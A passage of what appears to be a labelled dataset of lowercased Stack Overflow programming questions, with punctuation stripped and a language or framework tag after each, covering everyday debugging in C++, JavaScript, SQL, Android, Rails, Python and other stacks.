cout&lt;&lt;endl&lt;&lt; enter the size of list:  ;                 cin&gt;&gt;p2.siz;                 cout&lt;&lt; enter the list:  &lt;&lt;endl;                 p2.v=new int[p2.siz];                 for(p2.l=0;p2.l&lt;=p2.siz-1;p2.l++)                 {                     cin&gt;&gt;p2.v[p2.l];                 }                     p2.sortlist();//sort and search in numbers                 cout&lt;&lt;endl&lt;&lt; sorted list: &lt;&lt;endl;//sorted list after the bubble sort                 for(x=0;x&lt;=(p2.siz)-1;x++)                 {                     cout&lt;&lt;p2.v[x]&lt;&lt;endl;                 }             }             break;         case 2://to sort string of character             {                     cout&lt;&lt; enter the string of characters: ;                     cin.ignore()                     gets(p1.v);                     p1.siz=strlen(p1.v);                     p1.sortlist();//sort in characters                     cout&lt;&lt;endl&lt;&lt; sorted string: &lt;&lt;p1.v;             }             break;                 case 3://to sort list of strings                 {                         p1.stringsort();//sort list of string                 }                 break;             default:             cout&lt;&lt; invalid_choice &lt;&lt;endl&lt;&lt;endl;         }         cout&lt;&lt;endl&lt;&lt; do u want to enter another list y/n ;         cin&gt;&gt;c;     }     while(c== y );         return 0; } </code></pre>,c++
referenceerror: $ is not defined strange  how come everything in homecooked.js works but the script that is below it does not and the browser gives me  referenceerror: $ is not defined  on that specific part    <pre><code>    &lt;script src= assets/jquery-1.8.2.min.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= assets/homecooked.js  type= text/javascript &gt;&lt;/script&gt; &lt;script type= text/javascript &gt;         $(document).ready(function(){         &lt; php if($profile_messages){ &gt;             $( .page ).hide().eq( 2 ).show();         &lt; php } else {  &gt;             $( .page:gt(0) ).hide();         &lt; php }           for($i = 0; $i &lt; ($image_array_length); $i++){  &gt;                 $( .modal-textarea ).limit( 120   .comment-counter );             &lt; php } &gt;         }); &lt;/script&gt; </code></pre>,jquery
generic object debugger  i m trying to write a general function that i can pass an object to and it will print out all the properties and values in c#.     i ve tried a lot of examples out there like <a href= https://stackoverflow.com/questions/852181/c-printing-all-properties-of-an-object >this</a>  and some others like   <pre><code>    public void printproperties(object obj)     {         printproperties(obj  0);     }     public void printproperties(object obj  int indent)     {         if (obj == null) return;         string indentstring = new string(     indent);         type objtype = obj.gettype();         propertyinfo[] properties = objtype.getproperties();         foreach (propertyinfo property in properties)         {             object propvalue = property.getvalue(obj  null);             if (property.propertytype.assembly == objtype.assembly)             {                 console.writeline( {0}{1}:   indentstring  property.name);                 printproperties(propvalue  indent + 2);             }             else             {                 console.writeline( {0}{1}: {2}   indentstring  property.name  propvalue);             }         }     } </code></pre>   and   <pre><code>    foreach (propertydescriptor descriptor in typedescriptor.getproperties(obj))         {             string name = descriptor.name;             object value = descriptor.getvalue(obj);             console.writeline( {0}={1}   name  value);         } </code></pre>   but some of the objects i want in my debug / log files contain string[] properties. all of these examples output these as   <pre><code>system.string[] </code></pre>   if i had an object like   <pre><code>class thing {     public string name { get; set; }      public int number { get; set; }      public string[] names { get; set; } } </code></pre>   i would expect to see in the log like bellow with whatever values were set   <pre><code>name: test number: 3 names[0]: fred names[1]: john names[2]: jimmy </code></pre>   thank you for any help =]    this is the class i ended up using   <pre><code>class descriptor {     public void printproperties(object obj)     {         printproperties(obj  0);     }     public void printproperties(object obj  int indent)     {         if (obj == null) return;         string indentstring = new string(     indent);         type objtype = obj.gettype();         propertyinfo[] properties = objtype.getproperties();         foreach (propertyinfo property in properties)         {             object propvalue = property.getvalue(obj  null);              if (propvalue.gettype().isarray)             {                 object[] arrary = (object[]) propvalue;                 foreach (string value in arrary)                 {                     if (property.propertytype.assembly == objtype.assembly)                     {                         console.writeline( {0}{1}:   indentstring  property.name);                         printproperties(value  indent + 2);                     }                     else                     {                         console.writeline( {0}{1}: {2}   indentstring  property.name  value);                     }                 }                 continue;             }              if (property.propertytype.assembly == objtype.assembly)             {                 console.writeline( {0}{1}:   indentstring  property.name);                 printproperties(propvalue  indent + 2);             }             else             {                 console.writeline( {0}{1}: {2}   indentstring  property.name  propvalue);             }         }     }  } </code></pre>   now i m going to use log4net with this class and now throughout my mvc3 site i can call this with viewmodels being served and posted to get a comprehensive debug when switched on,c#
inter application communication in iphone  i just wanted to know if there is any way to access a document from outside the application in iphone. for instance  i want to be able to send a word document from mail to my application. how can i achieve this      thanks  in advance!,iphone
uitabbar loads after uiviewcontroller  in a uitabbar based application  uiimagepickercontroller is opened  after dismissing it uiviewcontroller loads earlier than uitabbar and as a result whole content of uiviewcontroller is not being shown,ios
sql statement takes over 8 hours to run  i am doing a query from an sql database.  the table has over a million records in it.    this is my sql statement.  it takes over 8 hours to run.  anyone have any ideas   thanks in advance.   <pre><code>select    count (userid) as dibwizhits  sum (ssncount) as ssns from    tbl_hits10 where   (appname= dibwiz qmt  or    appname like  dibwiz-full%  or    appname like  dibwiz-abb%  or    appname like  dibwiz-qual% )   -- or appname like  dibwiz%open%  or appname like  dibwiz%q% ) and    lu_date between      convert (datetime   2010-09-01 00:00:00   102) and      convert (datetime   2010-09-30 23:59:59   102) and   (userid&lt;&gt; 888888  and    userid&lt;&gt; 999999  and    userid&lt;&gt; 777777  and    userid&lt;&gt; 666666  and    ) </code></pre>,sql
typeerror: fun is not a function  when i have call <code>openmodelwindow</code> function show me error <code>fun is not a function</code> here is my function code      <pre><code>function openmodelwindow(url  option) {          var fun;         try {             if (parent != null &amp;&amp; parent.$ != null &amp;&amp; parent.$.showifrmdailog != undefined) {                 fun = parent.$.showifrmdailog             }             else {                 fun = $.showifrmdailog;             }         }         catch (e) {             fun = $.showifrmdailog;         }         fun(url  option);     } </code></pre>,javascript
access a class in a different folder  in my main package i have two classes and a folder with more classes in it. one of the outer classes is a singleton class that i need access to from a bunch of the other classes (which are inside of the subfolder). i can access the singleton from classes on the same level as it no problem but when in one of the subclasses it will not let me access it as the others can. how do i resolve this issue  just incase here is a layout:   <pre><code>com.blah     [connect]         ftp.java    //i want to be able to say appconfig.getinstance().blah() in this class     app.java        //i can say appconfig.getinstance().blah() in here just fine     appconfig.java </code></pre>   <strong>edit</strong> this is the top of the appconfig singleton class:   <pre><code>class appconfig {      private static appconfig config = new appconfig();      private appconfig(){}      public static appconfig getinstance(){         return config;     }      static properties prop = new properties(); ... </code></pre>   <strong>edit</strong> realized that i needed public infront of appconfig class declaration. thanks for the tips guys.,java
on textbox focus open popup angularjs  i have a textbox in angularjs form. currently i am using ng-change to open a modal pop-up. however  i would like to open the pop-up  when the focus hits the textbox. below is the current code:   <pre><code>    &lt;div class= form-group col-lg-6 &gt;        &lt;div class= input-group col-md-6 &gt;          &lt;span class= input-group-addon &gt;            &lt;i class= glyphicon glyphicon-search &gt;&lt;/i&gt;           &lt;/span&gt;          &lt;input type= text  class= form-control  required=   placeholder= search the group  ng-model= searchdatalocation  ng-change= searchusers()  name= searchvalue &gt;          &lt;/div&gt;       &lt;/div&gt;      &lt;span style= color:red  ng-show= submitted == true &amp;&amp; mainform.searchvalue.$error.required &gt;data is required&lt;/span&gt; </code></pre>   how to open pop-up on focus  is there any other event which can be used other than ng-change  thanks,angularjs
list to appear on clicking event  i want to have a child list appear on clicking a point of the parent list (similar to how clicking can minimize and maximize the content table in wikipedia articles)  how can i achieve it     i ve learned basic html years ago  and can t remember how to do this even if i did learn it. thanks for the help.,html
rails: premake a model instance for your unit tests (for dry purposes)   i m trying out testing on my own for the first time in my <code>user</code> model and i realized that for every test i have a statement for <code>user = user.create(:name =&gt;  something   :age =&gt; 3  :gender =&gt;  m )</code>. is there a before_filter or anything like that for tests so that i don t have to make a user for each test  or somehow put it in the global namespace so that it s accessible everywhere     <pre><code>require  test_helper   class usertest &lt; activesupport::testcase   test  user is created  do     user = user.create(:name =&gt;  edmund   :age =&gt; 3  :gender =&gt;  m )     assert_equal user  user.find_by_name( edmund )     assert_equal 3  user.count   end    test  user has sent messages  do     user = user.create(:name =&gt;  edmund   :age =&gt; 3  :gender =&gt;  m )     2.times do        user.sent_messages.create(:sender_id =&gt; user.id)     end     assert_equal 2  user.sent_messages.count   end    test  user has received messages  do     user = user.create(:name =&gt;  edmund   :age =&gt; 3  :gender =&gt;  m )     2.times do       user.received_messages.create(:receiver_id =&gt; user.id)     end     assert_equal 2  user.received_messages.count   end   end </code></pre>,ruby-on-rails
sum of total billed for last month and this month in a single sql query  i don t really know what to try  even  but we need to show a column for last month s total billing and another column for this month s total billing. currently  we show just the total billing to date.    here is what we have so far:   <blockquote>    select<br>       max(jccm.jcco) as [company]  <br>       jccm.contract as [contract]  <br>       jccm.contractamt as [contract amount]  <br>       jccm.billedamt as [billed amount] <br>       jccm.contractamt - jccm.billedamt as [remaining amount]<br>       from <br>       jccm <br>       inner join pmoi <br>       on pmoi.pmco=jccm.jcco and pmoi.project = jccm.contract <br>       where <br>       jccm.jcco=1 and pmoi.pmco=1 and jccm.contract like  2%  <br>       group by jccm.jcco  jccm.contract  jccm.contractamt  jccm.billedamt   </blockquote>   the [billed amount] pulls the total billed to date correctly  but we need to do two separate columns  one for the previous month total and then this month s total.,sql
contenteditable div (fixed height) with scrollbar <pre><code>&lt;div class= col span_1_of_2  contenteditable= true  style= max-height:   410px  overflow:  true &gt; </code></pre>   currently  text in div fils area (410px h). i d like to add more text: a) without expanding the div height b) have  extra  text visible by scroll    currently  the div stays set at 410px; but scroll effect does not take (and texts spills outside div). see screenshot.    <a href= https://i.stack.imgur.com/ltpbh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ltpbh.png  alt= [div w/ no scroll-but text overflow] ></a>,css
how to create a textarea in wix using ui-lib  this is weird. i went through the whole document <strong><a href= http://wix.github.io/wix-ui-lib/  rel= nofollow >wix ui-lib</a></strong> but could not find anything about how to create a textarea but <code>&lt;textarea&gt;&lt;/textarea&gt;</code>  won t work either.  i am creating a setting view for my wix widget app.     does anyone have any idea about how to do this  thanks,html
change rectangle color by a button  i m trying to make simple app that displays rectangle and has ability to change its color by button.    rectangle class is:   <pre><code>public class drawview extends view{ paint paint = new paint();   public drawview(context context) {     super(context); } public drawview(context context  attributeset attrs) {     super(context  attrs); } public drawview(context context  attributeset attrs  int defstyle) {     super(context  attrs  defstyle); }  @override public void ondraw(canvas canvas) {      paint.setcolor(color.yellow);     canvas.drawrect(300  550  150  400  paint );  }  public void setcolorred() {    paint.setcolor(color.red);    invalidate(); } </code></pre>   my app is tab layout app. this class is displayed in 3rd tab this way:    main.xml    <pre><code>&lt;tabhost     android:id= @+id/tabhost      android:layout_width= match_parent      android:layout_height= match_parent  &gt;      &lt;linearlayout         android:layout_width= match_parent          android:layout_height= match_parent          android:orientation= vertical  &gt;          &lt;tabwidget             android:id= @android:id/tabs              android:layout_width= match_parent              android:layout_height= wrap_content  &gt;         &lt;/tabwidget&gt;          &lt;framelayout             android:id= @android:id/tabcontent              android:layout_width= match_parent              android:layout_height= match_parent  &gt;              &lt;linearlayout                 android:id= @+id/tab1                  android:layout_width= match_parent                  android:layout_height= match_parent  &gt;              &lt;/linearlayout&gt;              &lt;linearlayout                 android:id= @+id/tab2                  android:layout_width= match_parent                  android:layout_height= match_parent                  android:orientation= vertical  &gt;              &lt;/linearlayout&gt;              &lt;linearlayout                 android:id= @+id/tab3                  android:layout_width= match_parent                  android:layout_height= match_parent                  android:orientation= vertical   &gt;  &lt;framelayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= match_parent  android:layout_height= match_parent  android:orientation= vertical  &gt;      &lt;button     android:id= @+id/bredcolor      android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= red  /&gt;      &lt;com.thms.systemy3.drawview         android:id= @+id/yourid          android:layout_margin= 10dp          android:layout_width= wrap_content          android:layout_height= wrap_content &gt;     &lt;/com.thms.systemy3.drawview&gt;                 &lt;/framelayout&gt;               &lt;/linearlayout&gt;         &lt;/framelayout&gt;     &lt;/linearlayout&gt; &lt;/tabhost&gt; </code></pre>       i was trying to get access to setcolorred() from my mainclass.java class by    <pre><code>drawview drawview; </code></pre>   and then use   <pre><code>drawview.setcolorred() </code></pre>   mainclass.java:   <pre><code>public class mainclass extends activity implements onclicklistener{  tabhost th; drawview drawview;   @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);      th = (tabhost) findviewbyid(r.id.tabhost);        //tab3     button bcolorred = (button) findviewbyid(r.id.bredcolor);      th.setup();      tabspec specs = th.newtabspec( tag1 );     specs.setcontent(r.id.tab1);     specs.setindicator( tab1 );     th.addtab(specs);      specs = th.newtabspec( tag2 );     specs.setcontent(r.id.tab2);     specs.setindicator( tab2 );     th.addtab(specs);      specs = th.newtabspec( tag3 );     specs.setcontent(r.id.tab3);     specs.setindicator( tab3 );     th.addtab(specs);   }    @override public void onclick(view v) {     switch (v.getid()){     case r.id.bredcolor:         drawview.setcolorred();         break;     } </code></pre>   what am i doing wrong  could anyone correct this code or give me a proper example of setting up simple app that draws rectangle and is able to change color by a button     thank you for reply.,android
how to get a list of all the constants that one can get from the rails console  how would i get a list of global constants in a rails app (like env)  something like:   <pre><code>&gt;constants </code></pre>   i looked through    <pre><code>&gt; puts methods </code></pre>   but didn t see anything that jumped out at me but i suspsect that there was something there.    thx in advance,ruby-on-rails
error injector when register on module in angular  i have register model as below :   <pre><code>var angulartest = angulartest || {}; angulartest.app = angular.module( angulartest   [ xplat.service    xplat.controller    xplat.directives    xplat.repository ]).run(function (db) {     db.init(); }); angular.module( xplat.config   []); angular.module( xplat.directives   []); angular.module( xplat.controller   []); angular.module( xplat.service   []); </code></pre>   and i have a controller with the correct use (it s not error) as below :   <pre><code>angulartest.app.controller( logincontroller   [ $scope    $http   function ($scope  $http) {     $scope.login = function () {         var request = $http({             method:  post               url:  http://localhost:4309/account/login               data:            })     } }]); </code></pre>   but this controller below has error:   <pre><code>(function () {      use strict ;     angular.module( xplat.controller   [ xplat.service ])         .controller( itemcontroller   function ($scope  itemservice) {             // todo something          }); })(); </code></pre>   i want to change it like logincontroller as above. how do i change it,angularjs
changing a tab content using html and javascript  i have this following code for four tabs    <pre><code> &lt;div class= row &gt; &lt;div class= col s2 &gt;&lt;/div&gt; &lt;div class= col s10 &gt;   &lt;ul class= tabs  style= background-image:url(images/wallpaper/water.jpg); border-radius:10px;  &gt;     &lt;li class= tab col s3 &gt;&lt;a class= active  href= #test1  style= font-family:trebuchet ms;  font-size: 20px;  &gt;bienvenue&lt;/a&gt;&lt;/li&gt;     &lt;li class= tab col s3 &gt;&lt;a  href= #test2  style= font-family:trebuchet ms;  font-size: 20px;  &gt;gestion des categories&lt;/a&gt;&lt;/li&gt;     &lt;li class= tab col s3  &gt;&lt;a href= #test3  style= font-family:trebuchet ms; font-size: 20px;   &gt;demandes d ajoute&lt;/a&gt;&lt;/li&gt;     &lt;li class= tab col s3 &gt;&lt;a href= #test4  style= font-family:trebuchet ms; font-size: 20px;   &gt;plus&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt; </code></pre>   and this is the content of this tabs ...    <pre><code> &lt;div id= test1  class= col s12 &gt;&lt;div class= image &gt;&lt;/div&gt;&lt;/div&gt; &lt;div id= test2  class= col s12 &gt;tab2  &lt;button&gt; &lt;/button&gt; &lt;/div&gt; &lt;div id= test3  class= col s12 &gt;tab3&lt;/div&gt; &lt;div id= test4  class= col s12 &gt;tab4&lt;/div&gt;&lt;/div&gt; </code></pre>   i want to change the content of tab 2 by cliquing on the button .what can i do,css
php strange header  working for a friend to move her website to a new server  her developer wrote the following code as main index.php:   <pre><code>&lt; php header( location: /s/subdir/r/index/ );  &gt; </code></pre>   on the new server it s not working.  i would understand if it was <code>header( location: /subdir/index.php );</code>. what purpose do the <code>/s</code> and <code>/r</code> serve  this is an old website.,php
does class_getinstancesize have a known bug about returning incorrect sizes   reading through the other questions that are similar to mine  i see that most people want to know why you would need to know the size of an instance  so i ll go ahead and tell you although it s not really central to the problem. i m working on a project that requires allocating thousands to hundreds of thousands of very small objects  and the default allocation pattern for objects simply doesn t cut it. i ve already worked around this issue by creating an object pool class  that allows a tremendous amount of objects to be allocated and initialized all at once; deallocation works flawlessly as well (objects are returned to the pool).    it actually works perfectly and isn t my issue  but i noticed <code>class_getinstancesize</code> was returning unusually large sizes. for instance  a class that stores one <code>size_t</code> and two (including <code>isa</code>) <code>class</code> instance variables is reported to be 40-52 bytes in size. i give a range because calling <code>class_getinstancesize</code> multiple times  even in a row  has no guarantee of returning the same size. in fact  every object but <code>nsobject</code> seemingly reports random sizes that are far from what they should be.    as a test  i tried:   <pre><code>printf( instance size: %zu\n   class_getinstancesize(objc_getclass( myclassname )); </code></pre>   that line of code always returns a value that corresponds to the size that i ve calculated by hand to be correct. for instance  the earlier example comes out to 12 bytes (32-bit) and 24 bytes (64-bit).    thinking that the runtime may be doing something behind the scenes that requires more memory  i watched the actual memory use of each object. for the example given  the only memory read from or written to is in that 12/24 byte block that i ve calculated to be the expected size.    <code>class_getinstancesize</code> acts like this on both the apple &amp; gnu 2.0 runtime. so is there a known bug with <code>class_getinstancesize</code> that causes this behavior  or am i doing something fundamentally wrong  before you blame my object pool; i ve tried this same test in a brand new project using both the traditional <code>alloc</code> class method and by allocating the object using <code>class_createinstance(self  0);</code> in a custom class method.    two things i forgot to mention before: i m almost entirely testing this on my own custom classes  so i know the trickery isn t down to the class actually being a class cluster or any of that nonsense; second  <code>class_getinstancesize([myclassname class])</code> and <code>class_getinstancesize(self) \\ ran inside a class method</code> rarely produce the same result  despite both simply referencing <code>isa</code>. again  this happens in both runtimes.,objective-c
how to generate an nsurlrequest to download a file from a webdav server like mobileme  should i mention  <code>[request sethttpmethod:@ get ]</code>    and what should i enter in the  <code>[request sethttpbody:  ]</code>    or should i just leave it empty     please help.    thanks in advance.,iphone
how to convert this js code to be asynchronous  given a set of select boxes that depend on each other (selecting something in a populates b with values) i am looking to build an object with the possible value combinations.   <pre><code># out = { fieldnamea: [ { key:  a   value:     dep: { fieldnameb: [ { key:  b   value:     dep: [] } ] } } ] } </code></pre>   this is the code i m using.   <pre><code>function getfieldvalues(selectors) {   if (selectors.length == 0) {     return [];   }    var fieldinfo = selectors.shift();   var field = document.queryselector(fieldinfo[ selector ]);    for (var i=0; i&lt;field.options.length; i++) {     var evt = document.createevent( htmlevents );     evt.initevent( change   false  true);      field.selectedindex = i;     field.dispatchevent(evt);      var option = field.options[i];      var fieldname = fieldinfo[ name ];      if (!result[fieldname]) {       result[fieldname] = [];     }      var fielddata = { key: option.value  value: option.innerhtml };      alert( starting child retrieval of data );     var dependencies = getfieldvalues(selectors.slice(0));      if (dependencies) {       fielddata[ dependencies ] = dependencies;     }      result[fieldname].push(fielddata);   }    return result; }  out = getfieldvalues(selectors); console.log(json.stringify(out)); </code></pre>   i need to make it async to add a delay after the dispatch event code so the values in the second selects get populated. however my attempts at converting this code have failed.,javascript
how do i set the width and height of a character in css  i am currently trying to make a page where all of the character s widths and heights are the same.,css
implementing a priority stack with two stacks  this is how i think it s probably intended to work: you have stack 1 that s sorted based on the priority and every time a new element comes along that should be in the middle of the stack  you pop out all the elements from stack 1 onto stack 2  add the element into place  and then pop all the elements from stack 2 back to stack 1.    does anybody know a more efficient solution,java
mysql: connecting as root in workbench does not work  i have intsalled mysql on my mac  confirmed its working and can view all the tables in the terminal:   <blockquote>    mysql -u root -p  </blockquote>   entered password xxxx    however  i next tried to use mysql workbench setting up a local connection using these settings...   <pre><code>host: 127.0.0.1 port: 3306 username: root </code></pre>   my problem is that this will not connect unless i use the username <code>root@localhost</code>  however i don t know what root@localhost is and it does not have any permissions to create tables nor can i see my tables created as root.     why in workbench can i not connect as the root user      thanks,mysql
how do i change a variable inside a variable   here s my code :   <pre><code>hp1 = 100 health1 =  you have   hp1  hp1 = hp1 - 50 health1  print hp1 print health1 </code></pre>   this is what it prints :   <pre><code>50 ( you have   100) </code></pre>   why doesn t the hp1 change inside the health,python
add recursively to vector with points c++  what i want to do is get the input of two names and then store it in the database.    for example the first name would always be the advisor and the second is the student.    example:    <strong>input:</strong>    john steven    john barry    john harold    <strong>output:</strong>    advisor: john    students:steven barry harold    i want my program to take john and put him in the first entry of the vector database and then i want to take steven barry and harold and put them all in the vector children.    my code so far just takes two advisors and three students.  however  i want to be able to do this for how many advisors and students the user wants to enter.    i m guessing from what i ve read i can do this recursively but not sure how.    any other ideas/suggestions are welcomed.    code so far:   <pre><code>#include&lt;iostream&gt; #include&lt;vector&gt; #include&lt;string&gt; using namespace std;  struct node {     string name;     node * parent;     vector&lt;node*&gt; children;  };   int main() {     vector&lt;node*&gt; database;     node *advisor  *student  *advisor2  *student2  *student3;     advisor = new node;     student = new node;     advisor2 = new node;     student2 = new node;     student3 = new node;      //add a student to advisor 1     cin&gt;&gt;advisor-&gt;name&gt;&gt;student-&gt;name;     advisor-&gt;children.push_back(student);     database.push_back(advisor);      //add another student to advisor 1     cin&gt;&gt;student3-&gt;name;     advisor-&gt;children.push_back(student3);      //add another advisor and add a student to him     cin&gt;&gt;advisor2-&gt;name&gt;&gt;student2-&gt;name;     advisor2-&gt;children.push_back(student2);     database.push_back(advisor2);       for(int i=0; i&lt;database.size(); i++)     {         cout&lt;&lt; advisor: &lt;&lt;endl;         cout&lt;&lt;database[i]-&gt;name&lt;&lt;endl;         cout&lt;&lt; students: &lt;&lt;endl;         for(int j=0; j&lt;database[i]-&gt;children.size(); j++)         {             cout&lt;&lt;database[i]-&gt;children[j]-&gt;name&lt;&lt;endl;         }     }      system( pause );     return 0; } </code></pre>,c++
how can i put a long html code inside a variable without taking too much time to escape it  so i have a lot of embed html code like this one :    <pre><code>&lt;iframe src= http://www.mysite.com/embed/2049340993  frameborder= 0  width= 608  height= 468  scrolling= no &gt;&lt;a href= http://www.mysite.com/view_video.php viewkey=2049340993 &gt; </code></pre>   i want to put them in differents variables however i must escape all characters like this :   <pre><code>var embedsource =  &lt;iframe src=\ http://www.mysite.com/embed/2049340993\  frameborder=\ 0\  width=\ 608\  height=\ 468\  scrolling=\ no\ &gt;&lt;a href=\ http://www.mysite.com/view_video.php viewkey=2049340993\ &gt; ; </code></pre>   is there any faster way to achieve this,html
what is top.passback() in javascript  i m dealing with some old @ss legacy code that was written 3 or 4 developers ago....  apparently there is some unfinished code and i m getting errors that passback is not a valid function.    the line in question is: <code>top.passback( curctrl   r +     + g +     + b);</code>    i ve done some research and i couldn t find any reference to a javascript function called passback.  i searched the project and couldn t find any references to custom function called passback either.    was passback used a long time ago and has it been depreciated   i ve seen that .opener comes up when i search for passback.  i tried the examples in opener but it says that it returns null...  this project is a little hokey when it comes to popups and screens.  everything is done through a component (no separation).    any ideas,javascript
rails : find all associated entries habtm  i have a model <code>document</code>and a model <code>keyword</code>.    the table keywords has a lot more entries than keywords are associated to documents.     i need to select only those keywords that are actually attributed to document.     i ve tried:   <pre><code>document.keywords.map { |e| e.keywrd } </code></pre>   and this :    <pre><code>document.keywords.select(:keywrd) </code></pre>   that returns this error :    <pre><code>nomethoderror: undefined method `keywords  for #&lt;class:0x007fcd100d2b38&gt; </code></pre>,ruby-on-rails
(python) algorithm to randomly select a key based on proportionality/weight  i m a bit at a loss as to how to find a clean algorithm for doing the following:    suppose i have a dict k:   <pre><code>&gt;&gt;&gt; k = { a : 68   b : 62   c : 47   d : 16   e : 81} </code></pre>   i now want to randomly select one of these keys  based on the  weight  they have in the total (i.e. sum) amount of keys.    <pre><code>&gt;&gt;&gt; sum(k.values())  &gt;&gt;&gt; 274 </code></pre>   so that there s a    <pre><code>&gt;&gt;&gt; 68.0/274.0 &gt;&gt;&gt; 0.24817518248175183 </code></pre>   24.81% percent change that a is selected.    how would you write an algorithm that takes care of this  in other words  that makes sure that on 10.000 random picks  a will be selected 2.481 times,python
how to combine results of two different queries from one table mysql  i am using mysql in phpmyadmin  i have a table from which i am trying to get the following result as illustrated below:     i have a table rate structured as follows;   <pre><code>+---------+-----------+-------+--------+---------+----------+ | entryid | regdate   |  code | buying | selling | averages | +---------+-----------+-------+--------+---------+----------+ | 1       |2013-11-08 |  usd  | null   | null    | 0.814    | +---------+-----------+-------+--------+---------+----------+    | 2       |2013-11-08 |  gbp  | null   | null    | 0.114    | +---------+-----------+-------+--------+---------+----------+ </code></pre>   with the primary key as entryid i am trying to get the output as shown below;   <pre><code>+-----------+-------+-------+ | regdate   |  usd  |  gbp  | +-----------+-------+-------+ |2013-11-08 | 0.814 | 0.114 | +---------+---------+-------+  </code></pre>,mysql
memory leak  while allocating a two dimensional game field  i am new to using valgrind and have problems debugging the code  since it works except for what i assume are memory leaks on the marked line. am i allocating the wrong size here    <pre><code>field *createfield(unsigned int xsize  unsigned int ysize) {     /* alright! let s start off by assigning an new field that we can return.*/  unsigned int i  j;     field *returnfield;     returnfield = malloc(sizeof(field));     if(returnfield == null) {         return null;     }      returnfield-&gt;xsize = xsize;     returnfield-&gt;ysize = ysize;     returnfield-&gt;cells = malloc(ysize * sizeof(state *)); // memory leaks !     if(returnfield-&gt;cells == null) {         free(returnfield);         return null;     }     /* alright  now we have the y dimension pointer allocated. it s time      * to move on to the x dimension*/      for (j = 0; j &lt; ysize; j++) {         returnfield-&gt;cells[j] = malloc(xsize * sizeof(state));         if (returnfield-&gt;cells[j] == null) {             for (i = 0; i &lt; j; i++) {                 free(returnfield-&gt;cells[i]);             }             free(returnfield);             return null;         }         for (i = 0; i &lt; xsize; i++) {             returnfield-&gt;cells[j][i] = dead;         }     }      return returnfield;  } /* free memory allocated for field &lt;f&gt;.  */ void releasefield(field *f) {     unsigned int j;     for (j = 0; j &lt; f-&gt;ysize; j++) {          free(f-&gt;cells[j]);     }     free(f); } </code></pre>   below is the header containing the structures:   <pre><code>typedef enum {     dead      alive } state;  typedef struct {     unsigned int xsize  ysize;     state **cells; } field; </code></pre>,c
adding class to selected die  i m trying to get the dice that isselected is true on to add a class so i can style them and you can tell they have been selected visually.  i m not 100% sure if i did the addglow() function correctly or not.  i m also trying to do this in javascript not jquery.    here is the js code and codepen at the end.   <pre><code>var dice1 = new dice(1); var dice2 = new dice(2); var dice3 = new dice(3); var dice4 = new dice(4); var dice5 = new dice(5); var dicearray = [dice1  dice2  dice3  dice4  dice5]; var rollbutton = document.getelementbyid( roll_button ); var cargo = 0; var numofrolls = 0;    //dice object function dice(id){     this.id = id;     this.currentroll = 0;     this.previousroll = 1;     this.isselected = false;     this.diceimageurl =  img/dice/dice1.png ;     this.roll = function(){         this.previousroll = this.currentroll;         this.currentroll = getrandomroll(1  6);     } }  //returns an array of all dice that are not currently selected so they can be rolled. function getrollabledicelist(){     var tempdicelist = [];     for(var i = 0; i &lt; dicearray.length; i++){         if(!dicearray[i].isselected){             tempdicelist.push(dicearray[i]);         }     }     return tempdicelist; }  // gets a random number between min and max (including min and max) function getrandomroll(min max){     return math.floor(math.random() * (max-min + 1) + min); }  // calls the roll function on each dice function rolldice(rollabledicelist){     for(var i = 0; i &lt; rollabledicelist.length; i++){         rollabledicelist[i].roll();     } }  // updates each dice with the new url for the image that corresponds to what their current roll is function updatediceimageurl(){     for(var i = 0; i &lt; dicearray.length; i++){         var currentdice = dicearray[i];          currentdice.diceimageurl =  http://boomersplayground.com/img/dice/dice  + currentdice.currentroll +  .png ;          //update div image with img that cooresponds to their current roll         updatedicedivimage(currentdice);     } }  //displays the image that matches the roll on each dice function updatedicedivimage(currentdice) {     document.getelementbyid( dice +currentdice.id).style.backgroundimage =  url(   + currentdice.diceimageurl +  ) ; }  // returns an array of all function getnonselecteddice(){     var temparray = [];     for(var i = 0; i &lt; dicearray.length; i++){         if(!dicearray[i].isselected){             temparray.push(dicearray[i]);         }     }     return temparray; }  function getselecteddice(){   var selecteddice = [];   for(var i = 0; i &lt; dicearray.length; i++){     if(dicearray[i].isselected){       selecteddice.push(dicearray[i]);     }   }   return selecteddice; }  //boolean variables var shipexist = false; var captexist = false; var crewexist = false;  //checks each dice for ship captain and crew. auto select the first 6  5   4. function checkforshipcaptcrew(){     //array of dice that are not marked selected     var nonselecteddice = getnonselecteddice();       for(var i = 0; i &lt; nonselecteddice.length; i++){         //temp variable that represents the current dice in the list         currentdice = nonselecteddice[i];          if (!shipexist) {             if (currentdice.currentroll == 6) {                 shipexist = true;                 var addglowtodice = currentdice;                 addglowtodice.classname =   glowing ;                 currentdice.isselected = true;             }         } else if (!captexist) {             if (currentdice.currentroll == 5) {                 captexist = true;                 currentdice.isselected = true;             }         } else if (!crewexist) {             if (currentdice.currentroll == 4) {                 crewexist = true;                 currentdice.isselected = true;             }         } else {             cargo += currentdice;         }     }  }  function addglow(){   getselecteddice();   for (var i = 0; i &lt; getselecteddice.length; i++){     var addglowdice = getselecteddice[i];     addglowdice.classname =   glowing ;   } }  rollbutton.addeventlistener( click   function(){         //generate rollable dice list     if (numofrolls &lt; 3) {         var rollabledicelist = getrollabledicelist();          //roll each dice         rolldice(rollabledicelist);          //update dice images         updatediceimageurl();          // //auto select first 6  5  4 (in that order)         checkforshipcaptcrew();          // //adds a red glow to each dice that is selected         addglow();         numofrolls++;     } }); </code></pre>   <a href= http://codepen.io/boomer1204/pen/mavzgl editors=001  rel= nofollow >http://codepen.io/boomer1204/pen/mavzgl editors=001</a>    thanks in advance guys.,javascript
asp.net publish site problem- pages with db are not found (404)  i m using vs 2008  asp.net  framework 3.5    this is the first time i built an asp.net website. the site is quite simple  with some pages getting there text onload from a db (ms access)  and some with plain text.    it works fine on debugging.    i used publish web site  and got a precompiled website folder on my computer.    i copied all the files to my hosting server. the pages that don t need db work fine  all the ones that call the db on loading are not found.    i thought it was permissions  but the hoster checked it up with me. the db folder has all permissions.    i have 2 questions: 1. how do i get exact info on the error  better than 404    2. what s happening  why doesn t it work      thanks for reading this far..,asp.net
